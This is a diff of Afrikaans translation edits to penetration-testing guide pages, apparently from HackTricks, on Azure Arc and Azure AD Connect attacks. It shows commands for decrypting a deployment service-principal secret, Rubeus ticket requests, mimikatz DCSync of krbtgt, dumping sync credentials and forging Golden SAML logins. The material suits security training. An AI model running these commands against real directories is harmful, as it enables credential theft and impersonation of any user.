+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md
@@ -4,17 +4,17 @@
### Identifisering van die Probleme
-Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer, kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
+Azure Arc stel die integrasie van nuwe interne bedieners (aangeslote domeinbedieners) in Azure Arc via die Groep Beleidsobjek metode moontlik. Om dit te fasiliteer, bied Microsoft 'n ontplooiing toolkit aan wat nodig is om die aanmeldproses te begin. Binne die ArcEnableServerGroupPolicy.zip lêer kan die volgende skripte gevind word: DeployGPO.ps1, EnableAzureArc.ps1, en AzureArcDeployment.psm1.
Wanneer dit uitgevoer word, voer die DeployGPO.ps1 skrip die volgende aksies uit:
1. Skep die Azure Arc Servers Aanmeld GPO binne die plaaslike domein.
-2. Kopieer die EnableAzureArc.ps1 aanmeld skrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
+2. Kopieer die EnableAzureArc.ps1 aanmeldskrip na die aangewese netwerkdeel wat geskep is vir die aanmeldproses, wat ook die Windows installer pakket bevat.
Wanneer hierdie skrip uitgevoer word, moet stelselsadmins twee hoofparameters verskaf: **ServicePrincipalId** en **ServicePrincipalClientSecret**. Daarbenewens vereis dit ander parameters soos die domein, die FQDN van die bediener wat die deel huisves, en die deelnaam. Verdere besonderhede soos die tenant ID, hulpbron groep, en ander nodige inligting moet ook aan die skrip verskaf word.
-'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan gevind word in die DeployGPO.ps1 skrip, waar die enkripsie uitgevoer word deur ProtectBase64 met $descriptor en $ServicePrincipalSecret as insette aan te roep. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar.
-```powershell
+'n Geënkripteerde geheim word in die AzureArcDeploy gids op die gespesifiseerde deel gegenereer met behulp van DPAPI-NG enkripsie. Die geënkripteerde geheim word in 'n lêer genaamd encryptedServicePrincipalSecret gestoor. Bewyse hiervan kan in die DeployGPO.ps1 skrip gevind word, waar die enkripsie uitgevoer word deur ProtectBase64 aan te roep met $descriptor en $ServicePrincipalSecret as invoer. Die descriptor bestaan uit die Domein Rekenaar en Domein Beheerder groep SIDs, wat verseker dat die ServicePrincipalSecret slegs deur die Domein Beheerders en Domein Rekenaar sekuriteitsgroepe ontkripteer kan word, soos opgemerk in die skrip kommentaar.
+```bash
# Encrypting the ServicePrincipalSecret to be decrypted only by the Domain Controllers and the Domain Computers security groups
$DomainComputersSID = "SID=" + $DomainComputersSID
$DomainControllersSID = "SID=" + $DomainControllersSID
@@ -24,27 +24,27 @@ $encryptedSecret = [DpapiNgUtil]::ProtectBase64($descriptor, $ServicePrincipalSe
```
### Exploit
-Ons het die volgende voorwaardes:
+Ons het die volgende toestande:
1. Ons het suksesvol die interne netwerk binnegedring.
2. Ons het die vermoë om 'n rekenaarrekening binne Active Directory te skep of te beheer.
3. Ons het 'n netwerkdeel ontdek wat die AzureArcDeploy-gids bevat.
Daar is verskeie metodes om 'n masjienrekening binne 'n AD-omgewing te verkry. Een van die mees algemene is om die masjienrekeningkwota te benut. 'n Ander metode behels die kompromittering van 'n masjienrekening deur kwesbare ACL's of verskeie ander miskonfigurasies.
-```powershell
+```bash
Import-MKodule powermad
New-MachineAccount -MachineAccount fake01 -Password $(ConvertTo-SecureString '123456' -AsPlainText -Force) -Verbose
```
Sodra 'n masjienrekening verkry is, is dit moontlik om met hierdie rekening te autentiseer. Ons kan of die runas.exe-opdrag met die netonly-vlag gebruik of pass-the-ticket met Rubeus.exe gebruik.
-```powershell
+```bash
runas /user:fake01$ /netonly powershell
```
-```powershell
+```bash
.\Rubeus.exe asktgt /user:fake01$ /password:123456 /prr
```
Deur die TGT vir ons rekenaarrekening in geheue te stoor, kan ons die volgende skrip gebruik om die dienshoofsekrte te ontsleutel.
-```powershell
+```bash
Import-Module .\AzureArcDeployment.psm1
$encryptedSecret = Get-Content "[shared folder path]\AzureArcDeploy\encryptedServicePrincipalSecret"
@@ -54,7 +54,7 @@ $ebs
```
Alternatiewelik kan ons [SecretManagement.DpapiNG](https://github.com/jborean93/SecretManagement.DpapiNG) gebruik.
-Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel gestoor is as die encryptedServicePrincipalSecret-lêer. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te verifieer.
+Op hierdie punt kan ons die oorblywende inligting versamel wat nodig is om met Azure te verbind vanaf die ArcInfo.json-lêer, wat op dieselfde netwerkdeel as die encryptedServicePrincipalSecret-lêer gestoor is. Hierdie lêer bevat besonderhede soos: TenantId, servicePrincipalClientId, ResourceGroup, en meer. Met hierdie inligting kan ons Azure CLI gebruik om as die gecompromitteerde dienshoof te autentiseer.
## References
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
index 46b8bfe11..7fdfcbaa9 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md
@@ -4,11 +4,11 @@
## Basiese Inligting
-Integrasie tussen **On-premises Active Directory (AD)** en **Azure AD** word gefasiliteer deur **Azure AD Connect**, wat verskeie metodes bied wat **Single Sign-on (SSO)** ondersteun. Elke metode, terwyl nuttig, bied potensiële sekuriteitskwesbaarhede wat benut kan word om cloud of on-premises omgewings te kompromitteer:
+Integrasie tussen **On-premises Active Directory (AD)** en **Azure AD** word gefasiliteer deur **Azure AD Connect**, wat verskeie metodes bied wat **Single Sign-on (SSO)** ondersteun. Elke metode, terwyl nuttig, bied potensiële sekuriteitskwesies wat benut kan word om cloud- of on-premises omgewings te kompromitteer:
- **Pass-Through Authentication (PTA)**:
-- Moglike kompromie van die agent op die on-prem AD, wat die validasie van gebruikerswagwoorde vir Azure verbindings (on-prem na Cloud) toelaat.
-- Die haalbaarheid om 'n nuwe agent te registreer om authentikasies in 'n nuwe ligging (Cloud na on-prem) te valideer.
+- Moglike kompromie van die agent op die on-prem AD, wat validasie van gebruikerswagwoorde vir Azure verbindings (on-prem na Cloud) toelaat.
+- Feasibiliteit om 'n nuwe agent te registreer om authentikasies in 'n nuwe ligging (Cloud na on-prem) te valideer.
{{#ref}}
pta-pass-through-authentication.md
@@ -22,14 +22,14 @@ phs-password-hash-sync.md
{{#endref}}
- **Federation**:
-- Diefstal van die private sleutel wat vir SAML-handtekening gebruik word, wat die nabootsing van on-prem en cloud identiteite moontlik maak.
+- Diefstal van die private sleutel wat gebruik word vir SAML ondertekening, wat impersonasie van on-prem en cloud identiteite moontlik maak.
{{#ref}}
federation.md
{{#endref}}
- **Seamless SSO:**
-- Diefstal van die `AZUREADSSOACC` gebruiker se wagwoord, wat gebruik word vir die ondertekening van Kerberos silwer kaartjies, wat die nabootsing van enige cloud gebruiker toelaat.
+- Diefstal van die `AZUREADSSOACC` gebruiker se wagwoord, wat gebruik word vir die ondertekening van Kerberos silwer kaartjies, wat impersonasie van enige cloud gebruiker toelaat.
{{#ref}}
seamless-sso.md
@@ -43,7 +43,7 @@ az-cloud-kerberos-trust.md
{{#endref}}
- **Default Applications**:
-- Kompromitering van 'n Toepassing Administrateur rekening of die on-premise Sync Rekening laat die wysiging van gidsinstellings, groep lidmaatskappe, gebruikersrekeninge, SharePoint webwerwe, en OneDrive lêers toe.
+- Kompromitering van 'n Application Administrator rekening of die on-premise Sync Account laat die aanpassing van gidsinstellings, groep lidmaatskappe, gebruikersrekeninge, SharePoint webwerwe, en OneDrive lêers toe.
{{#ref}}
az-default-applications.md
@@ -52,7 +52,7 @@ az-default-applications.md
Vir elke integrasiemetode word gebruikerssynchronisasie uitgevoer, en 'n `MSOL_` rekening word in die on-prem AD geskep. Opmerklik is dat beide **PHS** en **PTA** metodes **Seamless SSO** fasiliteer, wat outomatiese aanmelding vir Azure AD rekenaars wat by die on-prem domein aangesluit is, moontlik maak.
Om die installasie van **Azure AD Connect** te verifieer, kan die volgende PowerShell-opdrag, wat die **AzureADConnectHealthSync** module gebruik (standaard geïnstalleer met Azure AD Connect), gebruik word:
-```powershell
+```bash
Get-ADSyncConnector
```
{{#include ../../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
index b02c73637..aedec8870 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md
@@ -9,19 +9,19 @@ Om 'n nuwe gebruiker f**van AzureAD na die on-prem AD** te sinchroniseer, is die
- Die **AzureAD gebruiker** moet 'n proxy adres hê (n **posbus**)
- Lisensie is nie vereis nie
- Moet **nie reeds gesinchroniseer wees nie**
-```powershell
+```bash
Get-MsolUser -SerachString admintest | select displayname, lastdirsynctime, proxyaddresses, lastpasswordchangetimestamp | fl
```
Wanneer 'n gebruiker soos hierdie in AzureAD gevind word, om dit **van die on-prem AD te benader** moet jy net **'n nuwe rekening skep** met die **proxyAddress** die SMTP e-pos.
-Automaties sal hierdie gebruiker **gesinkroniseer word van AzureAD na die on-prem AD gebruiker**.
+Automaties sal hierdie gebruiker **van AzureAD na die on-prem AD gebruiker gesinkroniseer word**.
> [!CAUTION]
-> Let daarop dat jy om hierdie aanval uit te voer **nie Domain Admin** nodig het nie, jy het net toestemmings nodig om **nuwe gebruikers te skep**.
+> Let daarop dat jy om hierdie aanval uit te voer **nie 'n Domein Admin nodig het nie**, jy het net toestemmings nodig om **nuwe gebruikers te skep**.
>
> Ook, dit **sal nie MFA omseil** nie.
>
-> Boonop is daar berig dat **rekening sinkronisasie nie meer moontlik is vir admin rekeninge**.
+> Boonop, dit is gerapporteer dat **rekening sinkronisasie nie meer moontlik is vir admin rekeninge**.
## References
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
index 4f2935f6c..82dc3b2fd 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md
@@ -4,9 +4,9 @@
## Basiese Inligting
-[Van die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **autentisering** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
+[Volgens die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-fed)**Federasie** is 'n versameling van **domeine** wat **vertroue** gevestig het. Die vlak van vertroue kan verskil, maar sluit tipies **autentisering** in en sluit byna altyd **autorisering** in. 'n Tipiese federasie kan 'n **aantal organisasies** insluit wat **vertroue** gevestig het vir **gedeelde toegang** tot 'n stel hulpbronne.
-Jy kan jou **on-premises** omgewing **met Azure AD** federasie en hierdie federasie gebruik vir autentisering en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **autentisering plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
+Jy kan jou **on-premises** omgewing **met Azure AD** federate en hierdie federasie gebruik vir autentisering en autorisering. Hierdie aanmeldmetode verseker dat alle gebruiker **autentisering plaasvind op-premises**. Hierdie metode stel administrateurs in staat om meer streng vlakke van toegangbeheer te implementeer. Federasie met **AD FS** en PingFederate is beskikbaar.
@@ -24,9 +24,9 @@ In enige federasie-opstelling is daar drie partye:
-1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker toeganklik gemaak. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
-2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruiker autentisering. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en lei die kliënt na die gekose IdP.
-3. Die IdP neem oor, en autentiseer die gebruiker. Na autentisering word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
+1. Aanvanklik word 'n toepassing (Diensverskaffer of SP, soos AWS-konsol of vSphere-webkliënt) deur 'n gebruiker geopen. Hierdie stap kan oorgeslaan word, wat die kliënt direk na die IdP (Identiteitsverskaffer) lei, afhangende van die spesifieke implementering.
+2. Vervolgens identifiseer die SP die toepaslike IdP (bv. AD FS, Okta) vir gebruikerautentisering. Dit stel dan 'n SAML (Security Assertion Markup Language) AuthnRequest op en herlei die kliënt na die gekose IdP.
+3. Die IdP neem oor, wat die gebruiker autentiseer. Na autentisering word 'n SAMLResponse deur die IdP geformuleer en aan die SP deur die gebruiker gestuur.
4. Laastens evalueer die SP die SAMLResponse. As dit suksesvol geverifieer word, wat 'n vertrouensverhouding met die IdP impliseer, word die gebruiker toegang gegee. Dit merk die voltooiing van die aanmeldproses, wat die gebruiker in staat stel om die diens te gebruik.
**As jy meer wil leer oor SAML-autentisering en algemene aanvalle, gaan na:**
@@ -38,7 +38,7 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
## Pivoting
- AD FS is 'n eise-gebaseerde identiteitsmodel.
-- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat enige plek op die internet geleë is, te autoriseer."
+- "..eise is eenvoudig stellings (byvoorbeeld, naam, identiteit, groep), gemaak oor gebruikers, wat hoofsaaklik gebruik word om toegang tot eise-gebaseerde toepassings wat oral op die Internet geleë is, te autoriseer."
- Eise vir 'n gebruiker word binne die SAML tokens geskryf en word dan onderteken om vertroulikheid deur die IdP te bied.
- 'n Gebruiker word geïdentifiseer deur ImmutableID. Dit is wêreldwyd uniek en word in Azure AD gestoor.
- Die ImmutableID word op-premises gestoor as ms-DS-ConsistencyGuid vir die gebruiker en/of kan afgelei word van die GUID van die gebruiker.
@@ -46,34 +46,34 @@ https://book.hacktricks.wiki/en/pentesting-web/saml-attacks/index.html
**Goue SAML-aanval:**
-- In ADFS, word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
-- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, te autentiseer!
-- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die autentisering respons vervals.
-- Die sertifikaat kan van die AD FS-bediener met DA voorregte onttrek word en kan dan vanaf enige internet-verbonden masjien gebruik word.
+- In ADFS word die SAML Response deur 'n token-ondertekeningssertifikaat onderteken.
+- As die sertifikaat gecompromitteer is, is dit moontlik om as ENIGE gebruiker wat met Azure AD gesinkroniseer is, na die Azure AD te autentiseer!
+- Net soos ons PTA misbruik, sal 'n wagwoordverandering vir 'n gebruiker of MFA geen effek hê nie omdat ons die autentiseringrespons vervals.
+- Die sertifikaat kan van die AD FS-bediener met DA-privileges onttrek word en kan dan vanaf enige internetverbonden masjien gebruik word.
- Meer inligting in [https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps](https://www.cyberark.com/resources/threat-research-blog/golden-saml-newly-discovered-attack-technique-forges-authentication-to-cloud-apps)
### Goue SAML
-Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **respons** **onderteken** of **geënkripteer** word met die **IdP se private sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
+Die proses waar 'n **Identiteitsverskaffer (IdP)** 'n **SAMLResponse** produseer om gebruiker aanmelding te autoriseer, is van kardinale belang. Afhangende van die spesifieke implementering van die IdP, kan die **respons** **onderteken** of **geënkripteer** word met die **IdP se privaat sleutel**. Hierdie prosedure stel die **Diensverskaffer (SP)** in staat om die egtheid van die SAMLResponse te bevestig, wat verseker dat dit werklik deur 'n vertroude IdP uitgereik is.
-'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en regte autentiseer (KRBTGT vir goue kaart, token-ondertekenings private sleutel vir goue SAML) gemanipuleer kan word om 'n **autentisering objek** (TGT of SAMLResponse) te vervals. Dit stel in staat om enige gebruiker na te doen, wat ongeautoriseerde toegang tot die SP bied.
+'n Parallel kan getrek word met die [goue kaart-aanval](https://book.hacktricks.wiki/en/windows-hardening/active-directory-methodology/index.html#golden-ticket), waar die sleutel wat die gebruiker se identiteit en toestemmings autentiseer (KRBTGT vir goue kaarte, token-ondertekenings privaat sleutel vir goue SAML) gemanipuleer kan word om 'n **autentisering objek** (TGT of SAMLResponse) te vervals. Dit stel die vervalsing van enige gebruiker in staat, wat ongeoorloofde toegang tot die SP bied.
Goue SAMLs bied sekere voordele:
-- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel te wees van die domein of federasie in vraag.
+- Hulle kan **afgeleë geskep** word, sonder die behoefte om deel te wees van die domein of federasie in kwestie.
- Hulle bly effektief selfs met **Twee-Faktor Autentisering (2FA)** geaktiveer.
-- Die token-ondertekenings **private sleutel hernu nie outomaties** nie.
+- Die token-ondertekenings **privaat sleutel hernu nie outomaties** nie.
- **Die verandering van 'n gebruiker se wagwoord maak nie 'n reeds gegenereerde SAML ongeldig** nie.
#### AWS + AD FS + Goue SAML
-[Active Directory Federation Services (AD FS)]() is 'n Microsoft diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
+[Active Directory Federation Services (AD FS)]() is 'n Microsoft-diens wat die **veilige uitruiling van identiteitsinligting** tussen vertroude besigheidsvennote (federasie) fasiliteer. Dit stel in wese 'n domeindiens in staat om gebruikersidentiteite met ander diensverskaffers binne 'n federasie te deel.
-Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige regte in die AWS-omgewing te verkry**. Die aanval vereis die **private sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie private sleutel te verkry.
+Met AWS wat die gecompromitteerde domein vertrou (in 'n federasie), kan hierdie kwesbaarheid benut word om potensieel **enige toestemmings in die AWS-omgewing te verkry**. Die aanval vereis die **privaat sleutel wat gebruik word om die SAML-objekte te onderteken**, soortgelyk aan die behoefte aan die KRBTGT in 'n goue kaart-aanval. Toegang tot die AD FS-gebruikerrekening is voldoende om hierdie privaat sleutel te verkry.
Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
-- **Token-ondertekenings private sleutel**
+- **Token-ondertekenings privaat sleutel**
- **IdP publieke sertifikaat**
- **IdP naam**
- **Rolnaam (rol om aan te neem)**
@@ -83,8 +83,8 @@ Die vereistes om 'n goue SAML-aanval uit te voer sluit in:
_Slegs die items in vetdruk is verpligtend. Die ander kan na wens ingevul word._
-Om die **private sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die private sleutel **uit die persoonlike winkel uitgevoer** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, en verseker dat jy as die ADFS-gebruiker aangemeld is:
-```powershell
+Om die **privaat sleutel** te verkry, is toegang tot die **AD FS-gebruikerrekening** nodig. Van daar kan die privaat sleutel **uit die persoonlike winkel onttrek** word met behulp van gereedskap soos [mimikatz](https://github.com/gentilkiwi/mimikatz). Om die ander vereiste inligting te versamel, kan jy die Microsoft.Adfs.Powershell snapin soos volg gebruik, terwyl jy seker maak jy is aangemeld as die ADFS-gebruiker:
+```bash
# From an "AD FS" session
# After having exported the key with mimikatz
@@ -115,7 +115,7 @@ python .\shimit.py -idp http://adfs.lab.local/adfs/services/trust -pk key_file -
### Op-prem -> wolk
-```powershell
+```bash
# With a domain user you can get the ImmutableID of the target user
[System.Convert]::ToBase64String((Get-ADUser -Identity | select -ExpandProperty ObjectGUID).tobytearray())
@@ -134,7 +134,7 @@ Export-AADIntADFSSigningCertificate
Open-AADIntOffice365Portal -ImmutableID v1pOC7Pz8kaT6JWtThJKRQ== -Issuer http://deffin.com/adfs/services/trust -PfxFileName C:\users\adfsadmin\Documents\ADFSSigningCertificate.pfx -Verbose
```
Dit is ook moontlik om ImmutableID van slegs wolk gebruikers te skep en hulle na te boots.
-```powershell
+```bash
# Create a realistic ImmutableID and set it for a cloud only user
[System.Convert]::ToBase64String((New-Guid).tobytearray())
Set-AADIntAzureADObject -CloudAnchor "User_19e466c5-d938-1293-5967-c39488bca87e" -SourceAnchor "aodilmsic30fugCUgHxsnK=="
diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
index e497e53f9..0f5b89ddf 100644
--- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
+++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/phs-password-hash-sync.md
@@ -1,46 +1,46 @@
-# Az - PHS - Wagtog Hash Sinkronisasie
+# Az - PHS - Wagtwoord Hash Sinkronisasie
{{#include ../../../../banners/hacktricks-training.md}}
## Basiese Inligting
-[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagtog hash sinkronisasie** is een van die aanmeldmetodes wat gebruik word om hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
+[Uit die dokumentasie:](https://learn.microsoft.com/en-us/entra/identity/hybrid/connect/whatis-phs) **Wagtwoord hash sinkronisasie** is een van die aanmeldmetodes wat gebruik word om 'n hibriede identiteit te bereik. **Azure AD Connect** sinkroniseer 'n hash, van die hash, van 'n gebruiker se wagwoord van 'n plaaslike Active Directory-instansie na 'n wolk-gebaseerde Azure AD-instansie.
Dit is die **meest algemene metode** wat deur maatskappye gebruik word om 'n plaaslike AD met Azure AD te sinkroniseer.
Alle **gebruikers** en 'n **hash van die wagwoord hashes** word van die plaaslike AD na Azure AD gesinkroniseer. egter, **duidelike teks wagwoorde** of die **oorspronklike** **hashes** word nie na Azure AD gestuur nie.\
-Boonop, **Ingeboude** sekuriteitsgroepe (soos domein admins...) word **nie gesinkroniseer** na Azure AD nie.
+Boonop, **Ingeboude** sekuriteitsgroepe (soos domein administrateurs...) word **nie gesinkroniseer** na Azure AD nie.
Die **hashes sinkronisasie** vind elke **2 minute** plaas. egter, standaard, **wagwoord vervaldatums** en **rekening** **vervaldatums** word **nie gesinkroniseer** in Azure AD nie. So, 'n gebruiker wie se **plaaslike wagwoord verval** (nie verander nie) kan voortgaan om **toegang tot Azure hulpbronne** te verkry met die ou wagwoord.
Wanneer 'n plaaslike gebruiker 'n Azure hulpbron wil benader, vind die **verifikasie plaas op Azure AD**.
-**PHS** is vereis vir funksies soos **Identiteit Beskerming** en AAD Domein Dienste.
+**PHS** is vereis vir funksies soos **Identiteitsbeskerming** en AAD Domeindienste.
## Pivotering
Wanneer PHS geconfigureer is, word sommige **bevoorregte rekeninge** outomaties **gecreëer**:
-- Die rekening **`MSOL_`** word outomaties in plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicasie (DCSync) toestemmings in die plaaslike AD** het.
-- 'n rekening **`Sync__installationID`** word in Azure AD geskep. Hierdie rekening kan **die wagwoord van ENIGE gebruiker** (gesinkroniseer of slegs wolk) in Azure AD **herstel**.
+- Die rekening **`MSOL_`** word outomaties in die plaaslike AD geskep. Hierdie rekening ontvang 'n **Directory Synchronization Accounts** rol (sien [dokumentasie](https://docs.microsoft.com/en-us/azure/active-directory/users-groups-roles/directory-assign-admin-roles#directory-synchronization-accounts-permissions)) wat beteken dat dit **replicasie (DCSync) regte in die plaaslike AD** het.
+- 'n Rekening **`Sync__installationID`** word in Azure AD geskep. Hierdie rekening kan **die wagwoord van ENIGE gebruiker** (gesinkroniseer of slegs wolk) in Azure AD **herstel**.
-Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL bediener gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
+Wagwoorde van die twee vorige bevoorregte rekeninge word **in 'n SQL-server gestoor** op die bediener waar **Azure AD Connect geïnstalleer is.** Administrateurs kan die wagwoorde van daardie bevoorregte gebruikers in duidelike teks onttrek.\
Die databasis is geleë in `C:\Program Files\Microsoft Azure AD Sync\Data\ADSync.mdf`.
Dit is moontlik om die konfigurasie van een van die tabelle te onttrek, wat een versleuteld is:
`SELECT private_configuration_xml, encrypted_configuration FROM mms_management_agent;`
-Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die **wagwoorde van die `MSOL_*`** gebruiker in plaaslike AD en die wagwoord van **Sync\_\*** in AzureAD. Daarom, om hierdie te kompromitteer, is dit moontlik om privesc na die AD en na AzureAD.
+Die **versleutelde konfigurasie** is versleuteld met **DPAPI** en dit bevat die **wagwoorde van die `MSOL_*`** gebruiker in die plaaslike AD en die wagwoord van **Sync\_\*** in AzureAD. Daarom, om hierdie te kompromitteer, is dit moontlik om privesk te verkry tot die AD en AzureAD.
-Jy kan 'n [volledige oorsig van hoe hierdie akrediteer bespaar en ontsleutel in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg).
+Jy kan 'n [volledige oorsig van hoe hierdie akrediteer bespaar en ontsleutel word in hierdie praatjie vind](https://www.youtube.com/watch?v=JEIR5oGCwdg).
### Vind die **Azure AD connect bediener**
-As die **bediener waar Azure AD connect geïnstalleer is** domein-verbonden is (aanbeveel in die dokumentasie), is dit moontlik om dit te vind met:
-```powershell
+As die **bediener waar Azure AD connect geïnstalleer is** aan die domein gekoppel is (aanbeveel in die dokumentasie), is dit moontlik om dit te vind met:
+```bash
# ActiveDirectory module
Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAccountName,Description | fl
@@ -48,7 +48,7 @@ Get-ADUser -Filter "samAccountName -like 'MSOL_*'" - Properties * | select SamAc
Get-AzureADUser -All $true | ?{$_.userPrincipalName -match "Sync_"}
```
### Misbruik van MSOL\_*
-```powershell
+```bash
# Once the Azure AD connect server is compromised you can extract credentials with the AADInternals module
Get-AADIntSyncCredentials
@@ -57,12 +57,12 @@ runas /netonly /user:defeng.corp\MSOL_123123123123 cmd
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt /domain:domain.local /dc:dc.domain.local"'
```
> [!CAUTION]
-> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie geloofsbriewe te verkry.
+> Jy kan ook [**adconnectdump**](https://github.com/dirkjanm/adconnectdump) gebruik om hierdie akrediteer te verkry.
### Misbruik van Sync\_\*
Deur die **`Sync_*`** rekening te kompromitteer, is dit moontlik om die **wagwoord** van enige gebruiker (insluitend Globale Administrators) te **herstel**.
-```powershell
+```bash
# This command, run previously, will give us alse the creds of this account
Get-AADIntSyncCredentials
